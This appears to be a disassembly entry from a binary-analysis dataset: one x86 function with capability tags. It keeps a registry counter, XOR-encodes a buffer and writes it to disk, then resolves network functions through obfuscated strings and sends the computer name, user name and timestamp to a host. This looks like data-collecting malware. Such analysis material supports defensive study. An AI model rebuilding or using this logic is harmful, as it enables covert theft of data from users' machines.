Function at 0x8c4880
Capabilities:
Clear file content
Encode data using xor
Get hostname
Get session user name
Query or enumerate registry value
Set registry value
Write file on windows

Disassembly:
sub esp, 0x2b4
push ebx
push ebp
push esi
push edi
push 0xa38b1c
mov dword [esp + 0x2c], ecx
lea esi, [ecx + 0x24]
call fcn.008c94e0
add esp, 4
push eax
push esi
call fcn.008c3720
add esp, 8
lea eax, [esp + 0x24]
lea ecx, [esp + 0x18]
mov dword [esp + 0x10], 0
push eax
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push 0xa38ae4
xor bl, bl
call fcn.008c94e0
add esp, 4
push eax
push 0x80000001
call dword [sym.imp.advapi32.dll_RegCreateKeyExA]
test eax, eax
jne 0x8c4a1f
mov eax, dword [esp + 0x24]
mov edi, dword [sym.imp.user32.dll_wsprintfA]
cmp eax, 2
jne 0x8c4991
lea edx, [esp + 0x14]
lea eax, [esp + 0x40]
push edx
push eax
push 0
push 0
push 0xa38ad0
mov dword [esp + 0x28], 0x40
call fcn.008c94e0
mov ecx, dword [esp + 0x2c]
mov ebp, dword [sym.imp.advapi32.dll_RegQueryValueExA]
add esp, 4
push eax
push ecx
call ebp
push 0xa3843c
lea edx, [esp + 0x84]
push 0xa38acc
push edx
call edi
mov eax, dword [esp + 0x20]
add esp, 0xc
test eax, eax
je 0x8c4966
lea eax, [esp + 0x80]
lea ecx, [esp + 0x40]
push eax
push ecx
call dword [sym.imp.kernel32.dll_lstrcmpA]
test eax, eax
jne 0x8c4966
mov bl, 1
lea edx, [esp + 0x14]
lea eax, [esp + 0x10]
push edx
push eax
push 0
push 0
push 0xa38abc
mov dword [esp + 0x28], 4
call fcn.008c94e0
mov ecx, dword [esp + 0x2c]
add esp, 4
push eax
push ecx
call ebp
push 0xa3843c
lea edx, [esp + 0x44]
push 0xa38acc
push edx
call edi
add esp, 0xc
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.kernel32.dll_lstrlenA]
inc eax
lea ecx, [esp + 0x40]
push eax
push ecx
push 1
push 0
push 0xa38aa8
mov dword [esp + 0x28], eax
call fcn.008c94e0
mov edx, dword [esp + 0x2c]
mov edi, dword [sym.imp.advapi32.dll_RegSetValueExA]
add esp, 4
push eax
push edx
call edi
test bl, bl
mov dword [esp + 0x14], 4
je 0x8c49ec
inc dword [esp + 0x10]
jmp 0x8c49f4
mov dword [esp + 0x10], 0
lea eax, [esp + 0x10]
push 4
push eax
push 4
push 0
push 0xa38abc
call fcn.008c94e0
mov ecx, dword [esp + 0x2c]
add esp, 4
push eax
push ecx
call edi
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.advapi32.dll_RegCloseKey]
mov eax, dword [esp + 0x10]
cmp eax, 1
je 0x8c4e50
cmp eax, 5
ja 0x8c4e50
test bl, bl
je 0x8c4a46
cmp dword [0xaea6cc], 9
jge 0x8c4e50
push 0xa38a98
call fcn.008c94e0
add esp, 4
push eax
push esi
call fcn.008c3720
mov eax, dword [esi]
add esp, 8
cmp eax, 0xffffffff
je 0x8c4b7f
lea edi, [esi + 0x101c]
push edi
call dword [sym.imp.kernel32.dll_GetLocalTime]
mov eax, dword [esi + 0x143c]
test eax, eax
je 0x8c4a8e
mov ecx, dword [esi + 0x1440]
cmp ecx, eax
mov eax, 0xa37ba0
ja 0x8c4a93
mov eax, 0x8f8814
push eax
xor eax, eax
mov ax, word [esi + 0x102a]
xor ecx, ecx
mov cx, word [esi + 0x1028]
push eax
xor edx, edx
xor eax, eax
mov dx, word [esi + 0x1026]
mov ax, word [esi + 0x1024]
push ecx
push edx
xor ecx, ecx
push eax
mov cx, word [esi + 0x1022]
xor edx, edx
mov dx, word [esi + 0x101e]
xor eax, eax
mov ax, word [edi]
push ecx
push edx
push eax
push 0xa37b48
lea ebp, [esi + 0x1c]
call fcn.008c9470
add esp, 4
push eax
push ebp
call fcn.00858bf5
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
add esp, 0x28
repne scasb al, byte es:[edi]
mov eax, dword [esi + 0x1438]
not ecx
dec ecx
test eax, eax
mov edi, ecx
je 0x8c4b37
test edi, edi
jle 0x8c4b49
mov ecx, 0xffffffe4
mov eax, ebp
sub ecx, esi
mov edx, dword [esi + 0x1438]
add edx, 2
mov dword [esi + 0x1438], edx
mov bl, byte [eax]
add dl, 0x43
xor bl, dl
mov byte [eax], bl
inc eax
lea edx, [ecx + eax]
cmp edx, edi
jl 0x8c4b15
jmp 0x8c4b49
push ebp
push ebp
lea eax, [esi + 0x1030]
push edi
push eax
call fcn.008c8e20
add esp, 0x10
cmp dword [esi + 0x143c], 0x3e7
je 0x8c4b67
mov edx, dword [esi]
lea ecx, [esp + 0x20]
push 0
push ecx
push edi
push ebp
push edx
call dword [sym.imp.kernel32.dll_WriteFile]
mov eax, dword [esi]
push eax
call dword [sym.imp.kernel32.dll_SetEndOfFile]
mov ecx, dword [esi]
push ecx
call dword [sym.imp.kernel32.dll_CloseHandle]
mov dword [esi], 0xffffffff
mov ecx, 0xaea4b8
call fcn.008c78d0
test eax, eax
jne 0x8c4bad
push 0xa38a88
call fcn.008c94e0
add esp, 4
mov ecx, 0xaea4b8
push eax
call fcn.008c76c0
test eax, eax
je 0x8c4e50
push 0xa38a74
call fcn.008c94e0
add esp, 4
mov ecx, 0xaea4b8
push eax
call fcn.008c78d0
push eax
call fcn.008c5c80
push 0xa38a5c
mov esi, eax
call fcn.008c94e0
add esp, 4
mov ecx, 0xaea4b8
push eax
call fcn.008c78d0
push eax
call fcn.008c5c80
push 0xa38a44
mov edi, eax
call fcn.008c94e0
add esp, 4
mov ecx, 0xaea4b8
push eax
call fcn.008c78d0
push eax
call fcn.008c5c80
push 0xa38a34
mov ebp, eax
call fcn.008c94e0
add esp, 4
mov ecx, 0xaea4b8
push eax
call fcn.008c78d0
push eax
call fcn.008c5c80
test esi, esi
mov dword [esp + 0x20], eax
je 0x8c4e50
test edi, edi
je 0x8c4e50
test ebp, ebp
je 0x8c4e50
test eax, eax
je 0x8c4e50
push 0
push 0
push 0
push 0
push 0xa38a28
call fcn.008c9470
add esp, 4
push eax
call esi
mov ebx, eax
test ebx, ebx
je 0x8c4e50
push 0
push 0x8000000
push 1
push 0xa389f4
call fcn.008c94e0
add esp, 4
push eax
push 0xa389e8
call fcn.008c9470
add esp, 4
push eax
push 0x17ac
push 0xa389d8
call fcn.008c9470
add esp, 4
push eax
push ebx
call edi
mov esi, eax
test esi, esi
jne 0x8c4cc0
push ebx
call ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2b4
ret
lea edx, [esp + 0x1c]
lea eax, [esp + 0x140]
mov edi, 0x80
push edx
push eax
mov byte [esp + 0x148], 0
mov dword [esp + 0x24], edi
call dword [sym.imp.kernel32.dll_GetComputerNameA]
lea ecx, [esp + 0x1c]
lea edx, [esp + 0xc0]
push ecx
push edx
mov byte [esp + 0xc8], 0
mov dword [esp + 0x24], edi
call dword [sym.imp.advapi32.dll_GetUserNameA]
lea eax, [esp + 0x2c]
push eax
call dword [sym.imp.kernel32.dll_GetLocalTime]
mov eax, dword [0xaea6cc]
cmp eax, 1
jne 0x8c4d1f
push 0xa389cc
jmp 0x8c4d84
cmp eax, 2
jne 0x8c4d2b
push 0xa389c0
jmp 0x8c4d84
cmp eax, 3
jne 0x8c4d37
push 0xa389b8
jmp 0x8c4d84
cmp eax, 4
jne 0x8c4d43
push 0xa389ac
jmp 0x8c4d84
cmp eax, 5
jne 0x8c4d4f
push 0xa389a0
jmp 0x8c4d84
cmp eax, 6
jne 0x8c4d5b
push 0xa38990
jmp 0x8c4d84
cmp eax, 7
jne 0x8c4d67
push 0xa38984
jmp 0x8c4d84
cmp eax, 8
jne 0x8c4d73
push 0xa38978
jmp 0x8c4d84
cmp eax, 9
jne 0x8c4d7f
push 0xa3896c
jmp 0x8c4d84
push 0xa38964
call fcn.008c9470
mov ecx, dword [esp + 0x3e]
mov edx, dword [esp + 0x3c]
add esp, 4
and ecx, 0xffff
and edx, 0xffff
push ecx
mov ecx, dword [esp + 0x3a]
and ecx, 0xffff
push edx
mov edx, dword [esp + 0x3c]
push ecx
mov ecx, dword [esp + 0x3e]
and edx, 0xffff
and ecx, 0xffff
push edx
mov edx, dword [esp + 0x3e]
push ecx
mov ecx, dword [esp + 0x40]
and edx, 0xffff
and ecx, 0xffff
push edx
push ecx
mov ecx, dword [esp + 0x44]
lea edx, [ecx + 0x2b3c]
add ecx, 0x2b14
push edx
lea edx, [esp + 0xe0]
push edx
lea edx, [esp + 0x164]
push edx
mov edx, dword [0xaeaa28]
mov edx, dword [edx + 0x10]
push edx
push eax
push 0x4c
push ecx
push 0xa38908
call fcn.008c94e0
add esp, 4
push eax
lea eax, [esp + 0x1fc]
push 0x104
push eax
call fcn.008cb098
add esp, 0x44
lea ecx, [esp + 0x1c0]
push 0
push 0x4000002
push ecx
push 0xaea3ac
push esi
call dword [esp + 0x34]
call dword [sym.imp.kernel32.dll_GetLastError]
push ebx
call ebp
push esi
call ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2b4
ret